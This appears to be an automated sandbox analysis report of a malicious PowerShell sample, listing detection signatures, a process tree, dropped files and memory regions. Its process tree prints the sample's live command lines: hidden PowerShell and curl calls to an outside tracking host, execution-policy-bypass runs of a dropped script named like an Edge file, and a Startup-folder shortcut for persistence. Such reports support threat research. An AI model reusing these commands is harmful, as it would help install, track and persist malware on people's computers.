Analysis

  • max time kernel
    149s
  • max time network
    128s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 16:15

General

  • Target
    2d2a95ddad86b51a.ps1
  • Size 1KB
  • Sample261024-tqdr7avyct
  • SHA256 2d2a95ddad86b51aceba55a10dc9d66489e7188f50cb8cd1eff7af115d136966
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Checks system information in the registry 2 TTPs 1 IoCs

    System information is often read in order to detect sandboxing environments.

  • UPX packed file 10 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • cURL User-Agent 4 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\2d2a95ddad86b51a.ps1
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5240
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command try{$w=[Net.HttpWebRequest]::Create('https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=dl_ok');$w.Method='GET';$w.Timeout=8000;$w.ReadWriteTimeout=8000;$w.KeepAlive=$false;try{if($w.Proxy){$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials}}catch{};$r=$w.GetResponse();try{$r.Close()}catch{}}catch{}
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5152
    • C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 10 https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=dl_ok
      2⤵
        PID:4708
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\msedge_716358.ps1
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4276
        • C:\Apps\DeskNotes\DeskNotes.exe
          "C:\Apps\DeskNotes\DeskNotes.exe"
          3⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious use of WriteProcessMemory
          PID:2420
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -NoProfile -NonInteractive -Command "$ErrorActionPreference='Stop'; $shell = New-Object -ComObject WScript.Shell; $shortcut = $shell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeskNotes.lnk'); $shortcut.TargetPath='C:\Apps\DeskNotes\DeskNotes.exe'; $shortcut.WorkingDirectory='C:\Apps\DeskNotes'; $shortcut.Description='DeskNotes'; $shortcut.WindowStyle=1; $shortcut.Save();"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Creates a file in the Startup directory
            • Suspicious behavior: EnumeratesProcesses
            PID:5408
        • C:\Users\Admin\AppData\Local\Temp\svc_work\out2\stable.exe
          "C:\Users\Admin\AppData\Local\Temp\svc_work\out2\stable.exe"
          3⤵
          • Executes dropped EXE
          • Checks system information in the registry
          • Reads the TCP/IP host and domain name from the registry
          • Checks processor information in registry
          PID:4068
        • C:\Users\Admin\AppData\Local\Temp\svc_work\out2\AppStart.exe
          "C:\Users\Admin\AppData\Local\Temp\svc_work\out2\AppStart.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5368
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command try{$w=[Net.HttpWebRequest]::Create('https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok');$w.Method='GET';$w.Timeout=8000;$w.ReadWriteTimeout=8000;$w.KeepAlive=$false;try{if($w.Proxy){$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials}}catch{};$r=$w.GetResponse();try{$r.Close()}catch{}}catch{}
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2732
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 10 https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
        2⤵
          PID:3248
        • C:\Windows\system32\curl.exe
          "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 12 https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
          2⤵
            PID:2532
          • C:\Windows\system32\curl.exe
            "C:\Windows\system32\curl.exe" -4 -s -o NUL --connect-timeout 6 --max-time 12 https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
            2⤵
              PID:4192
          • C:\Apps\DESKNO~1\DeskNotes.exe
            C:\Apps\DESKNO~1\DESKNO~1.EXE
            1⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: AddClipboardFormatListener
            • Suspicious use of WriteProcessMemory
            PID:256
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -NoProfile -NonInteractive -Command "$ErrorActionPreference='Stop'; $shell = New-Object -ComObject WScript.Shell; $shortcut = $shell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeskNotes.lnk'); $shortcut.TargetPath='C:\Apps\DESKNO~1\DeskNotes.exe'; $shortcut.WorkingDirectory='C:\Apps\DESKNO~1'; $shortcut.Description='DeskNotes'; $shortcut.WindowStyle=1; $shortcut.Save();"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Creates a file in the Startup directory
              • Suspicious behavior: EnumeratesProcesses
              PID:2112

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                DeskNotes.exe

                • Path C:\Apps\DeskNotes\DeskNotes.exe
                • Size 6.9MB
                • SHA256 f6de2ee2d0f818038328218c302faabc073e15e4871803e14ab31c863de1330a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                changelog.txt

                • Path C:\Apps\DeskNotes\changelog.txt
                • Size 269B
                • SHA256 bd2176cda9cffafbee5847ef91c7870d5e5fc586282af954209521d9cc6ddb4d
                • MD5 SHA1 SHA512 TLSH

                config.ini

                • Path C:\Apps\DeskNotes\config.ini
                • Size 139B
                • SHA256 5c95a28991130dbac2f953ef7290666d633fbc4ae8124666140f803df51f67bf
                • MD5 SHA1 SHA512 TLSH

                license.txt

                • Path C:\Apps\DeskNotes\license.txt
                • Size 356B
                • SHA256 f7ddb6a5c89835dbdf675ef30fdd077b505c9007392567a5935f4054a3cbc0ef
                • MD5 SHA1 SHA512 TLSH

                ModuleAnalysisCache

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • Size 67KB
                • SHA256 50b9dc324634108ff1aa98008c68c20b19c4e982d377c82afc12ea505ff598bd
                • MD5 SHA1 SHA512 SSDEEP TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 9d4a88fc9cb081c93596ae5853db290aea996e6478000dcff2b2941274b01f48
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 2KB
                • SHA256 48ec4faf3a4e6a126b4033453752aa026d8b1ada4d57f9df8aa3210e254d2821
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 948B
                • SHA256 beb89f9355be2debcce3233a89ad4d63ec861b41b73c309d63444f4b800dc129
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 227382e983419ebcf839038c60e3b6d2f21d298882a508cf0b45a9786cf462e2
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_kxdymj5w.csl.psm1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kxdymj5w.csl.psm1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                msedge_716358.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\msedge_716358.ps1
                • Size 2KB
                • SHA256 e96c3abaa3185534f1f6c5765b391ba017b75f9d2955a68fdd9b44d2c1f93fd7
                • MD5 SHA1 SHA512 TLSH

                AppStart.deps.json

                • Path C:\Users\Admin\AppData\Local\Temp\svc_work\out2\AppStart.deps.json
                • Size 469B
                • SHA256 ef0bf53f462f882e527860a10e40855900dd5244997fca386639bcee00bea27a
                • MD5 SHA1 SHA512 TLSH

                AppStart.dll

                • Path C:\Users\Admin\AppData\Local\Temp\svc_work\out2\AppStart.dll
                • Size 4KB
                • SHA256 ecf14b087e6cb2f847fb533c4bae7bf276aa87f3489897e73cfea126261e1ba2
                • MD5 SHA1 SHA512 TLSH

                AppStart.exe

                • Path C:\Users\Admin\AppData\Local\Temp\svc_work\out2\AppStart.exe
                • Size 148KB
                • SHA256 0d1c38c6acfb2aefc0a9e238e32655bf33fa2fc088de8d02d59ad0aa595d0a95
                • MD5 SHA1 SHA512 SSDEEP TLSH

                AppStart.runtimeconfig.json

                • Path C:\Users\Admin\AppData\Local\Temp\svc_work\out2\AppStart.runtimeconfig.json
                • Size 458B
                • SHA256 c71152bf25e40d647b2440c5b39be157a3d356106be9d5b678ab97bb87b4e782
                • MD5 SHA1 SHA512 TLSH

                stable.exe

                • Path C:\Users\Admin\AppData\Local\Temp\svc_work\out2\stable.exe
                • Size 1.1MB
                • SHA256 a479d01a2800e005dedafd852b0654de43e3d3d3b484aaa6b2b7d16a99bf2b82
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pkg1.zip

                • Path C:\Users\Admin\AppData\Local\Temp\svc_work\pkg1.zip
                • Size 6.8MB
                • SHA256 741d4e9d20262b3d20da7d43de6b834a96ed4227a4efd20d049177191be9af7d
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pkg2.zip

                • Path C:\Users\Admin\AppData\Local\Temp\svc_work\pkg2.zip
                • Size 579KB
                • SHA256 80d0bcb12ebef2b4d10d5f374bfd12701a76b4defe322cb1de750a87c6a5e0b3
                • MD5 SHA1 SHA512 SSDEEP TLSH

                DeskNotes.lnk

                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeskNotes.lnk
                • Size 821B
                • SHA256 17c2f64f576a39b53eb6890f4e9ce6c4fc7b08310764ba0dda86fe93d7d0f2d6
                • MD5 SHA1 SHA512 TLSH

                memory/256-166-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp

                memory/256-142-0x00000264804C0000-0x00000264804D0000-memory.dmp

                memory/256-152-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp

                memory/256-154-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp

                memory/256-168-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp

                memory/2420-153-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp

                memory/2420-141-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp

                memory/2420-121-0x000002A9004C0000-0x000002A9004D0000-memory.dmp

                memory/2420-91-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp

                memory/2420-167-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp

                memory/2420-165-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp

                memory/4068-117-0x00000218564F0000-0x00000218564F1000-memory.dmp

                memory/4068-116-0x0000021856460000-0x0000021856461000-memory.dmp

                memory/4068-118-0x00000218567C0000-0x00000218567C1000-memory.dmp

                memory/4068-119-0x00000218567D0000-0x00000218567D1000-memory.dmp

                memory/4068-115-0x0000021854140000-0x0000021854141000-memory.dmp

                memory/4068-113-0x0000021851F80000-0x0000021851F81000-memory.dmp

                memory/4068-114-0x0000021854190000-0x0000021854191000-memory.dmp

                memory/4068-120-0x0000021857A20000-0x0000021857A21000-memory.dmp

                memory/4276-65-0x0000016DEC2F0000-0x0000016DEC2FA000-memory.dmp

                memory/4276-64-0x0000016DECD70000-0x0000016DECD82000-memory.dmp

                memory/4276-60-0x0000016DED640000-0x0000016DEDB68000-memory.dmp

                memory/5152-27-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5152-40-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5152-32-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5152-28-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5152-29-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5152-30-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5152-24-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5152-31-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5152-50-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5152-39-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5152-35-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5152-36-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-13-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-8-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-44-0x0000025BB2680000-0x0000025BB2732000-memory.dmp

                memory/5240-45-0x0000025BB2650000-0x0000025BB265A000-memory.dmp

                memory/5240-47-0x0000025BB2770000-0x0000025BB2794000-memory.dmp

                memory/5240-46-0x0000025BB2770000-0x0000025BB279A000-memory.dmp

                memory/5240-0-0x00007FF89FD7F000-0x00007FF89FD80000-memory.dmp

                memory/5240-5-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-11-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-6-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-7-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-43-0x0000025BB2660000-0x0000025BB267E000-memory.dmp

                memory/5240-9-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-55-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-12-0x0000025BB23C0000-0x0000025BB2582000-memory.dmp

                memory/5240-4-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-10-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-19-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-18-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-3-0x0000025BB1CB0000-0x0000025BB1CD2000-memory.dmp

                memory/5240-15-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-17-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-16-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

                memory/5240-14-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp